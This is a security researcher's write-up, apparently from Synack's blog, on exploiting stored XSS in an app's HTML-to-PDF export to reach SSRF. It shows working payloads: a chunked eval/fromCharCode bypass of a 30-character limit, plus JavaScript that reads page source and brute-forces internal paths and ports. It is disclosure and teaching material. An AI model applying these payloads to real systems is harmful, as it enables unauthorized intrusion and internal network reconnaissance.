When we hear: “How did they think of that?!?” from a Synack customer, we know the Synack Red Team did a great job. Our customers – Security teams and Development teams – know security and software well, but are still impressed with the novel findings produced by Synack technology and researchers every day.
While customers receive clear reports with reproducible steps (video, text, and/or images) that explain the hack, they don’t often see the thinking that led to that exploit.
SRT member Divya Mudgal wrote up this exceptionally clear story of a vulnerability she found. She has anonymized all information about the target.
Read on to see how her attack evolved with lessons from each attempt, to get to a successful SSRF hack using XSS – 30 characters at a time.
- Synack Community Team
TL; DR
This is from a Synack Red Team target with no client/Synack information disclosed. The web application allowed an authenticated user to submit a string 1-30 character in length which is stored in a backend database and can be exported in PDF format.
- Server-side enforced input field limit of 30 characters
- External JavaScript import not allowed
- Convert payload to character code using https://github.com/digip/fromCharCode
- Encode and split XSS payload into chunks and use JS comments to get rid of unnecessary HTML/JS data in between.
- XSS executed inside an internal web application and response returned in PDF file
- XSS payloads to perform SSRF attack
Why am I reading this?
XSS payload’s response being included in PDF reports is not a new technique and is widely used by security testers to perform Cross-Site Scripting (XSS) and Server-Side Request Forgery (SSRF) attacks. What you will be reading here is how restrictions implemented by the application were bypassed to perform a successful SSRF attack using a XSS attack in HTML to PDF generation and create custom JS payloads for exploitation.
About the web application’s functionality
An authenticated user of the web application can create monthly/yearly savings goal and give it a name which must be 1-30 characters in length. A user can create any number of savings goals. Additionally, user can export a PDF report of the savings goals.
Simple HTML Injection and XSS attack
Submit HTML Injection payload <h1>TestCode
in the “Name” input field which does not get executed in the application’s page response. The savings goal PDF report was generated and in response the injected payload was shown in HTML processed form. This means in the backend somehow the HTML code is executed then it is converted into PDF.
If you look at it from a developer’s perspective, the following steps were being performed by the application in the backend:
- Read which records to fetch from the database and include it in a page/code
- Prepare a tabular view of the pulled records
- Generate a PDF report then send it back to user in HTTP response
There are multiple ways to perform the 2nd step and is relatable to our HTML injection response as well. Simplest is to pull data from the database, format it into an HTML table format, use a headless web browser to parse the HTML page then generate a PDF using any possible way.
Now that HTML injection is working, we can test for XSS payload execution. Please note you that you cannot use alert(1)
here because you won’t see a popup or an alert image in the generated PDF.
Using XSS payloads you can even read local files using file://
protocol. However, there is one requirement for it to be successful. The page on which the JavaScript is executing should also be running on file://
protocol. If the page is running on http://
or https://
protocol then it is not possible to read local files using file://
protocol.
I wanted to test for JavaScript execution and identify if I will be able to read local files or not using one single payload. This is possible by reading the complete URL of the page using the following JavaScript code:
<script>document.write(document.location.href)</script>
However, this payload cannot be used because it is 55 characters long and we are restricted to 30 characters only. So, this was a fail and we will get back to this again. Success after failure feels much better!
The smallest payload I could find at that point was <svg/onload=document.write(1)>
and it is 30 characters long. The generated PDF for this payload had only “1” shown on the whole page. This confirms two things:
- JavaScript execution is successful
- It is very likely that there is web browser engine parsing the contents because when you use “document.write” and there is no other JavaScript writing contents on the page. This allows our payload to clear all the contents of the page and print only our supplied text on the page.
This is good but from a real-world attacker’s perspective printing “1” is not at all useful at. Basically, the impact of this attack is none right now. One simplest solution to this problem is to import an external JS script using something like this payload <script src=//hostname/a.js />
. But we again run into 1 problem here, this payload is exactly 30 characters long. You can utilize XSS Hunter for exploiting this or can use your own small domain name on which a script can be hosted. However, in this situation importing external scripts was denied by the web application.
Where are we so far?
Attacker can perform HTML injection limited to 30 characters in one payload submission. XSS payload allows writing limited length of text. Multiple payloads can be submitted but each payload is shown on a separate row inside a single HTML cell. So far, this is not very useful from a real-world attack perspective.
In this web application, user can use checkboxes to select which line items to export in PDF report. Also, the payloads that are submitted are not listed in the same order as they are submitted but are in chronological order. You will see why this is important when we try to achieve arbitrary JS code execution.
Finding a way out of the 30-character limit
If we are somehow able to bypass or find a way out of the 30-character limit then we will have no problem in executing arbitrary JS code. But how?
The answer to this problem is multi-line JavaScript comment i.e. /* anything */
.
The logic of using JavaScript comments for achieving arbitrary JS code is as follows:
- Submit first payload as
<script>/*
- More JS code using as many submissions as you want but with 30-character limit.
- Every payload should start with */ and end with /* which reduces usable payload size to 28 characters. This will ensure that all the JS and HTML content between /* (submitted in step 1) and the closing */ JS comment submitted in next submission is commented out and does not interfere with our JS payload.
- Close the JS code using
*/</script>
Roughly this is what the payload in the backend HTML page might look like:
<html><head><title>InternalPage</title></head><body>
<table><th>something…
<td><script>/*</td><td>something…</td>
<td>*/My JS attack payload/*</td><td>something…</td>
<td>*/My JS attack payload/*</td><td>something…</td>
<td>*/</script></td><td>something…</td>
</table></body></html>
Red text is the JS code which will get executed and the blue text will be commented out.
Now we have the logic ready to bypass the 30-character limit to achieve arbitrary. But our next problem is right in front of us now, complexity of JS code to execute while staying in 30-character limit which is not very easy to bypass. Such as cookie stealer and read/modify/exfiltrate internal pages.
Final piece of the puzzle
The easiest way to simplify a complex JS code without compromising on quality and functionality is by using JavaScript’s eval()
and String.fromCharCode()
. It is possible to convert JS code into a sequence of numbers (i.e. character codes), convert it into string using String.fromCharCode()
then execute it using eval()
.
The beauty of using character codes in this situation is that we can easily use multi-line JS comments without breaking the JS code. Here is an open-source tool for converting JS code to CharCode: https://github.com/digip/String.fromCharCode
For example, we wanted to get the current URL of the page on which XSS payload is executed.
XSS JS payload: document.write(document.location.href)
Converted CharCode: <script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,41))</script>
XSS payload split into chunks of <=30 characters:
<script>/*
*/eval(String.fromCharCode(/*
*/100,111,99,117,109,101/*
*/,110,116,46,119,114/*
*/,105,116,101,40,100/*
*/,111,99,117,109,101/*
*/,110,116,46,108,111/*
*/,99,97,116,105,111,110/*
*/,46,104,114,101,102,41))/*
*/</script>
However, when these payloads were submitted, they were not shown in the web application UI and generated PDF report in the same sequence as it was submitted. Application was sorting the list in chronological order.
To get past the chronology issue we can use the JS multi-line comment. If we prepend every payload with a number, it will put the payloads in correct sequence and will be ignored during JS execution because it is surrounded by comments.
Final XSS payload:
01<script>/*
02*/eval(String.fromCharCode(/*
03*/100,111,99,117,109,101/*
04*/,110,116,46,119,114/*
05*/,105,116,101,40,100/*
06*/,111,99,117,109,101/*
07*/,110,116,46,108,111/*
08*/,99,97,116,105,111,110/*
09*/,46,104,114,101,102,41))/*
10*/</script>
This way all the payloads were listed in the exact same sequence in web UI and in the generated PDF report. The output of this JS code was included in the PDF report:
http://internal_hostname:4321/savings/report
This confirmed that the vulnerable page is running on an internal web application but I still tried reading local file using file://
protocol but was unsuccessful.
Further exploitation for better SSRF
Importing external JS files was not allowed by the app/infra due to which it was not possible to simply execute arbitrary code using external script import. After further enumeration it was identified that the internal application had “X-Frame-Options” response header set to DENY restricting framing of internal pages which could have been viewed in the exported PDF files.
In this situation I went ahead with creating custom JS code. Below are some sample payloads:
Read the HTML code of the page:
<img src=x onerror=document.write(encodeURI(document.documentElement.outerHTML))>
Identify Operating System:
<img src=x onerror=document.write(navigator.appVersion)>
Identify internal web application pages/files by brute-forcing URL using JS code only:
for(i=0;i<l.length;i++){n=l[i];x=new XMLHttpRequest();x.onreadystatechange=function(){if(this.readyState==4){document.getElementById("d").innerHTML+=","+this.status;}};x.open("GET","/"+n,true);x.send();}l=["banking","admin","","test"];
Note: Add <p id=d></p>
before <script>
tag so that the JS code can append brute-force response inside the HTML page.
Identify internal services on other TCP ports using JS code only:
for(i=0;i<l.length;i++){n=l[i];x=new XMLHttpRequest();x.onreadystatechange=function(){if(this.readyState==4){document.getElementById("d").innerHTML+=","+this.status;}};x.open("GET","http://127.0.0.1:"+n+"/",true);x.send();}l=[21,22,80,8080,8081];
Note: Add <p id=d></p>
before <script>
tag so that the JS code can append brute-force response inside the HTML page. In this payload port number can be replaced with a loop of 1-65535 TCP ports but that would have been too much. Also, the hostname and protocol can be changed with other values.
This was followed by creating more JS code to enumerate the accessible applications and services on same and other hosts assuming access to resource was allowed by CORS.
Conclusion
JavaScript is an amazing language with lot of ways to execute code and it gets more interesting as we explore it more. Common SSRF attacks are exploitable due to hostname being accepted from user-controlled input. However, in the scenario that we saw above XSS can be weaponized to create custom payloads in order to perform lot of complex SSRF attacks. Do note that we discussed in this blog cannot be called a direct SSRF attack but is SSRF using XSS.
- Divya Mudgal, SRT Member